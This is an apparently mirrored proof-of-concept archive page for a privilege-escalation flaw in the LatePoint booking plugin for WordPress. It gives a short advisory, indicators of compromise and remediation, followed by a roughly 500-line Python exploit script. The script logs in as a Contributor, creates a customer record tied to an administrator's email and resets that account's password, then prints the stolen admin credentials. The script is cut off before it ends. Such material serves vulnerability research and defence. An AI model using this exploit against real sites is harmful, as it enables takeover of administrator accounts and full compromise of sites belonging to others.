PoC Archive PoC Archive
High CVE-2026-49083 unpatched

LatePoint Calendar Booking Plugin Contributor-to-Administrator Privilege Escalation (CVE-2026-49083)

by izxci · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-49083
Category
web
Affected product
LatePoint Calendar Booking plugin for WordPress
Affected versions
<= 5.5.1
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherizxci
CVE / AdvisoryCVE-2026-49083
Categoryweb
SeverityHigh
CVSS Score8.8 (per source)
StatusPoC
Tagswordpress, latepoint, privilege-escalation, plugin, ajax, python, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemLatePoint Calendar Booking plugin for WordPress
Versions Affected<= 5.5.1
Language / PlatformPHP / WordPress (exploit client written in Python 3)
Authentication RequiredYes (low-privileged Contributor account)
Network Access RequiredYes

Summary

This PoC exploits insufficient role validation in LatePoint’s customer-to-WordPress-user linking logic. An authenticated attacker holding only a low-privileged “Contributor” WordPress account can create a LatePoint customer record using the email address of an existing Administrator account, then use the plugin’s customer-update AJAX action to set a new password on that linked record. Because LatePoint links customer records to WordPress users by email and propagates password updates to the linked WP user, this effectively resets the Administrator’s WordPress password, giving the attacker full site takeover.


Vulnerability Details

Root Cause

The plugin’s latepoint_update_customer AJAX handler updates the WordPress user password associated with a LatePoint customer record without verifying that the requesting user has permission to modify that specific customer/admin link, and the latepoint_process_booking handler allows creating a customer record keyed to an arbitrary (including administrator) email address without ownership checks.

Attack Vector

  1. Detect the LatePoint plugin and confirm the installed version is <= 5.5.1.
  2. Authenticate to WordPress as a low-privilege Contributor account.
  3. Retrieve a valid LatePoint AJAX nonce.
  4. Submit a latepoint_process_booking AJAX request that creates a new LatePoint customer record using the target Administrator’s email address.
  5. Query the customer list to find the newly created customer record linked to the admin email.
  6. Submit a latepoint_update_customer AJAX request setting a new password for that customer record, which propagates to the linked WordPress Administrator account.
  7. Log in to wp-admin using the admin email and the attacker-chosen password.

Impact

Full WordPress site compromise: a Contributor-level attacker can take over any Administrator account and gain complete control of the site (plugins, themes, arbitrary PHP execution via theme/plugin editor, database access, etc.).


Environment / Lab Setup

Target:   WordPress site with LatePoint Calendar Booking plugin <= 5.5.1 installed, with an existing low-privilege Contributor account available to the attacker
Attacker: Python 3 with `requests` and `beautifulsoup4`, network access to the target site

Proof of Concept

PoC Script

See CVE-2026-49083.py in this folder.

1
2
3
python3 CVE-2026-49083.py https://target-site.example -u contributor_user -p contributor_pass -e admin@target-site.example
python3 CVE-2026-49083.py https://target-site.example --detect
python3 CVE-2026-49083.py https://target-site.example --check

When run without flags, the script logs in as the supplied Contributor account, creates a LatePoint customer record tied to the target admin’s email, locates that customer record, and resets its password (hacked_password_123 by default in the script), printing the credentials the attacker can then use to log in as Administrator.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php action=latepoint_process_booking with booking[customer][email] set to an existing administrator's email, submitted by a non-privileged session
POST /wp-admin/admin-ajax.php action=latepoint_update_customer immediately following, changing a customer password from a low-privilege session

Signs of compromise:

  • Unexpected WordPress Administrator password changes with no corresponding password-reset email flow
  • LatePoint customer records whose email matches an existing Administrator account, created by non-admin WordPress users
  • AJAX requests to latepoint_process_booking / latepoint_update_customer originating from Contributor/Author-level sessions

Remediation

ActionDetail
Primary fixUpdate LatePoint to a patched version (> 5.5.1) that enforces ownership/role checks before linking customer records to WordPress users and before propagating password changes
Interim mitigationRestrict Contributor-level account creation/trust, monitor LatePoint AJAX endpoints for anomalous customer creation/password-update requests, and audit customer records for email collisions with Administrator accounts

References


Notes

Mirrored from https://github.com/izxci/CVE-2026-49083 on 2026-07-05.

CVE-2026-49083.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-49083 LatePoint Calendar Booking Plugin Privilege Escalation Exploit
CVSS: 8.8 (High)

Authenticated privilege escalation vulnerability in LatePoint plugin versions
up to and including 5.5.1. Allows Contributor-level users to escalate to
Administrator by exploiting insufficient role validation in customer-to-WordPress
user linking logic.

Legal Notice: Educational and authorized testing only.
"""

import requests
import re
import sys
import argparse
import time
import json
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup

class LatePointPrivEscExploit:
    def __init__(self, target_url, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.plugin_detected = False
        self.vulnerable_version = False
        self.nonce = None
        self.authenticated = False

    def log(self, message, level="INFO"):
        """Log messages based on verbosity"""
        if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
            print(f"[{level}] {message}")

    def detect_plugin(self):
        """Detect if LatePoint plugin is installed"""
        self.log("Detecting LatePoint Calendar Booking plugin...")
        
        try:
            # Check common plugin paths
            plugin_paths = [
                '/wp-content/plugins/latepoint/',
                '/wp-content/plugins/latepoint-calendar/',
                '/wp-content/plugins/calendar-booking-latepoint/'
            ]
            
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'latepoint.php')
                resp = self.session.head(url, timeout=10)
                
                if resp.status_code == 200:
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            # Try to detect via readme.txt
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'readme.txt')
                resp = self.session.get(url, timeout=10)
                
                if resp.status_code == 200 and 'latepoint' in resp.text.lower():
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            self.log("Plugin not detected via direct paths", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error detecting plugin: {e}")
            return False

    def check_vulnerability(self):
        """Check if target is vulnerable"""
        self.log("Checking vulnerability status...")
        
        try:
            # Try to access the plugin's main file
            plugin_file = urljoin(self.target_url, '/wp-content/plugins/latepoint/latepoint.php')
            resp = self.session.get(plugin_file, timeout=10)
            
            if resp.status_code == 200:
                # Check version
                version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
                if version_match:
                    version = version_match.group(1)
                    self.log(f"Plugin version: {version}", "INFO")
                    
                    # Check if vulnerable (<=5.5.1)
                    version_parts = version.split('.')
                    if len(version_parts) >= 3:
                        try:
                            major = int(version_parts[0])
                            minor = int(version_parts[1])
                            patch = int(version_parts[2])
                            
                            if major < 5 or (major == 5 and minor < 5) or (major == 5 and minor == 5 and patch <= 1):
                                self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
                                self.vulnerable_version = True
                                return True
                            else:
                                self.log(f"Version {version} appears patched", "ERROR")
                                return False
                        except ValueError:
                            pass
            
            self.log("Could not determine vulnerability status", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error checking vulnerability: {e}")
            return False

    def login(self, username, password):
        """Authenticate as a Contributor user"""
        self.log(f"Attempting to login as: {username}...")
        
        try:
            login_url = urljoin(self.target_url, '/wp-login.php')
            
            # Get login page to extract any nonce
            resp = self.session.get(login_url, timeout=10)
            
            # Perform login
            login_data = {
                'log': username,
                'pwd': password,
                'wp-submit': 'Log In',
                'redirect_to': urljoin(self.target_url, '/wp-admin/'),
                'testcookie': '1'
            }
            
            resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=False)
            
            if resp.status_code in [302, 303] or 'wp-admin' in resp.headers.get('Location', ''):
                self.log(f"Successfully logged in as {username}", "SUCCESS")
                self.authenticated = True
                return True
            else:
                self.log(f"Login failed for {username}", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error during login: {e}", "ERROR")
            return False

    def get_nonce(self):
        """Get AJAX nonce for LatePoint actions"""
        self.log("Retrieving AJAX nonce...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Try to get nonce via AJAX
            data = {
                'action': 'latepoint_get_nonce'
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=10)
            
            if resp.status_code == 200:
                try:
                    response_data = resp.json()
                    if 'nonce' in response_data:
                        self.nonce = response_data['nonce']
                        self.log(f"Obtained nonce: {self.nonce}", "SUCCESS")
                        return self.nonce
                except:
                    pass
            
            # Try to extract nonce from admin page
            admin_url = urljoin(self.target_url, '/wp-admin/')
            resp = self.session.get(admin_url, timeout=10)
            
            nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text)
            if nonce_match:
                self.nonce = nonce_match.group(1)
                self.log(f"Obtained nonce from admin page: {self.nonce}", "SUCCESS")
                return self.nonce
            
            self.log("Could not retrieve nonce", "ERROR")
            return None
        
        except Exception as e:
            self.log(f"Error retrieving nonce: {e}")
            return None

    def get_admin_users(self):
        """Enumerate WordPress admin users"""
        self.log("Enumerating WordPress admin users...")
        
        admin_users = []
        
        try:
            # Try REST API
            api_url = urljoin(self.target_url, '/wp-json/wp/v2/users')
            resp = self.session.get(api_url, timeout=10)
            
            if resp.status_code == 200:
                try:
                    users = resp.json()
                    for user in users:
                        if 'administrator' in user.get('roles', []):
                            admin_users.append({
                                'id': user.get('id'),
                                'username': user.get('username'),
                                'name': user.get('name'),
                                'email': user.get('email')
                            })
                            self.log(f"Found admin: {user.get('username')} ({user.get('email')})", "INFO")
                except:
                    pass
            
            return admin_users
        
        except Exception as e:
            self.log(f"Error enumerating users: {e}")
            return admin_users

    def create_customer_with_admin_email(self, admin_email, service_id=1, agent_id=1):
        """Create a LatePoint customer record linked to admin email"""
        self.log(f"Creating customer record with admin email: {admin_email}...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Prepare booking data
            booking_data = {
                'action': 'latepoint_process_booking',
                'nonce': self.nonce,
                'booking[customer][first_name]': 'Exploit',
                'booking[customer][last_name]': 'User',
                'booking[customer][email]': admin_email,
                'booking[service_id]': str(service_id),
                'booking[agent_id]': str(agent_id),
                'booking[start_date]': '2026-07-01',
                'booking[start_time]': '10:00',
                'booking[location_id]': '1'
            }
            
            resp = self.session.post(ajax_url, data=booking_data, timeout=15)
            
            if resp.status_code == 200:
                self.log("Customer creation request sent", "SUCCESS")
                self.log(f"Response: {resp.text[:200]}", "INFO")
                return True
            else:
                self.log(f"Customer creation failed: {resp.status_code}", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error creating customer: {e}", "ERROR")
            return False

    def update_customer_password(self, customer_id, new_password):
        """Update customer password (which updates linked WP user password)"""
        self.log(f"Updating customer {customer_id} password...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            update_data = {
                'action': 'latepoint_update_customer',
                'nonce': self.nonce,
                'customer_id': str(customer_id),
                'password': new_password
            }
            
            resp = self.session.post(ajax_url, data=update_data, timeout=15)
            
            if resp.status_code == 200:
                self.log("Password update request sent", "SUCCESS")
                self.log(f"Response: {resp.text[:200]}", "INFO")
                return True
            else:
                self.log(f"Password update failed: {resp.status_code}", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error updating password: {e}", "ERROR")
            return False

    def get_customers(self):
        """Get list of customers"""
        self.log("Retrieving customer list...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            data = {
                'action': 'latepoint_get_customers',
                'nonce': self.nonce
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=10)
            
            if resp.status_code == 200:
                try:
                    customers = resp.json()
                    self.log(f"Retrieved {len(customers)} customers", "INFO")
                    return customers
                except:
                    return []
            
            return []
        
        except Exception as e:
            self.log(f"Error retrieving customers: {e}")
            return []

    def exploit(self, contributor_username, contributor_password, admin_email):
        """Execute full privilege escalation exploit"""
        
        print("\n" + "="*70)
        print("CVE-2026-49083 LatePoint Privilege Escalation")
        print("="*70 + "\n")
        
        # Step 1: Detect plugin
        if not self.detect_plugin():
            self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
            return False
        
        # Step 2: Check vulnerability
        if not self.check_vulnerability():
            self.log("Target does not appear to be vulnerable", "ERROR")
            return False
        
        # Step 3: Login as Contributor
        if not self.login(contributor_username, contributor_password):
            self.log("Failed to authenticate", "ERROR")
            return False
        
        # Step 4: Get nonce
        if not self.get_nonce():
            self.log("Failed to retrieve nonce", "ERROR")
            return False
        
        # Step 5: Create customer with admin email
        if not self.create_customer_with_admin_email(admin_email):
            self.log("Failed to create customer", "ERROR")
            return False
        
        time.sleep(2)
        
        # Step 6: Get customers and find the one linked to admin
        customers = self.get_customers()
        admin_customer = None
        
        for customer in customers:
            if customer.get('email') == admin_email:
                admin_customer = customer
                self.log(f"Found customer linked to admin: ID {customer.get('id')}", "SUCCESS")
                break
        
        if not admin_customer:
            self.log("Could not find customer linked to admin email", "ERROR")
            return False
        
        # Step 7: Update customer password (escalates to admin)
        new_password = "hacked_password_123"
        if not self.update_customer_password(admin_customer.get('id'), new_password):
            self.log("Failed to update customer password", "ERROR")
            return False
        
        print("\n" + "="*70)
        print("EXPLOITATION SUCCESSFUL")
        print("="*70)
        print(f"Target: {self.target_url}")
        print(f"Plugin: LatePoint Calendar Booking")
        print(f"Attacker: {contributor_username} (Contributor)")
        print(f"Target Admin: {admin_email}")
        print(f"New Admin Password: {new_password}")
        print(f"\nPrivilege Escalation Complete!")
        print(f"You can now login as administrator with:")
        print(f"  Email: {admin_email}")
        print(f"  Password: {new_password}")
        print("="*70 + "\n")
        
        return True


class LatePointEnumerator:
    """Enumerate LatePoint plugin configuration"""
    
    def __init__(self, target_url, session):
        self.target_url = target_url.rstrip('/')
        self.session = session
    
    def get_services(self):
        """Get available services"""
        services = []
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            data = {'action': 'latepoint_get_services'}
            resp = self.session.post(ajax_url, data=data, timeout=10)
            
            if resp.status_code == 200:
                try:
                    services = resp.json()
                except:
                    pass
        except:
            pass
        
        return services
    
    def get_agents(self):
        """Get available agents"""
        agents = []
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            data = {'action': 'latepoint_get_agents'}
            resp = self.session.post(ajax_url, data=data, timeout=10)
            
            if resp.status_code == 200:
                try:
                    agents = resp.json()
                except:
                    pass
        except:
            pass
        
        return agents
    
    def get_locations(self):
        """Get available locations"""
        locations = []
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            data = {'action': 'latepoint_get_locations'}
            resp = self.session.post(ajax_url, data=data, timeout=10)
            
            if resp.status_code == 200:
                try:
                    locations = resp.json()
                except:
                    pass
        except:
            pass
        
        return locations


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-49083 LatePoint Privilege Escalation Exploit'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-u', '--username', required=True, help='Contributor username')
    parser.add_argument('-p', '--password', required=True, help='Contributor password')
    parser.add_argument('-e', '--email', required=True, help='Target admin email to takeover')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('--detect', action='store_true', help='Detect plugin only')
    parser.add_argument('--check', action='store_true', help='Check vulnerability only')
    parser.add_argument('--enumerate', action='store_true', help='Enumerate plugin configuration')
    
    args = parser.parse_args()
    
    # Create exploit instance
    exploit = LatePointPrivEscExploit(args.target, verbose=args.verbose)
    
    # Detect only
    if args.detect:
        if exploit.detect_plugin():
            print("[+] Plugin detected!")
        else:
            print("[-] Plugin not detected")
        sys.exit(0)
    
    # Check vulnerability
    if args.check:
        if exploit.check_vulnerability():
            print("[+] Target is vulnerable!")
        else:
            print("[-] Target does not appear vulnerable")
        sys.exit(0)
    
    # Enumerate configuration
    if args.enumerate:
        if not exploit.login(args.username, args.password):
            print("[-] Failed to authenticate")
            sys.exit(1)
        
        enumerator = LatePointEnumerator(args.target, exploit.session)
        
        services = enumerator.get_services()
        print(f"\n[+] Found {len(services)} services:")
        for service in services:
Showing 500 of 522 lines View full file on GitHub →